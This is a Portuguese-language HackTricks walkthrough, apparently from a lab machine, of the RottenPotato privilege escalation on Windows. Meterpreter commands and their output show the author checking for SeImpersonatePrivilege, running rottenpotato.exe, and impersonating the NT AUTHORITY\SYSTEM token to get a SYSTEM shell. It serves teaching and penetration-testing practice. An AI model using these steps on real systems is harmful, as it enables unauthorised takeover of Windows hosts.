hacktricks/windows-hardening/windows-local-privilege-escalation/rottenpotato.md
2023-06-06 18:56:34 +00:00

5.7 KiB

RottenPotato

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

As contas de serviço geralmente possuem privilégios especiais (SeImpersonatePrivileges) e isso pode ser usado para escalar privilégios.

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

Não entrarei em detalhes sobre como esse exploit funciona, o artigo acima explica muito melhor do que eu poderia.

Vamos verificar nossos privilégios com o meterpreter:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

Excelente, parece que temos os privilégios necessários para realizar o ataque. Vamos fazer o upload do rottenpotato.exe.

De volta à nossa sessão do meterpreter, carregamos a extensão incognito.

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
No tokens available

Podemos ver que atualmente não temos Tokens de Impersonação. Vamos executar o exploit Rotten Potato.

meterpreter > execute -f rottenpotato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM

Precisamos rapidamente assumir a identidade do token ou ele desaparecerá.

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Sucesso! Temos nosso shell SYSTEM e podemos pegar o arquivo root.txt!

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥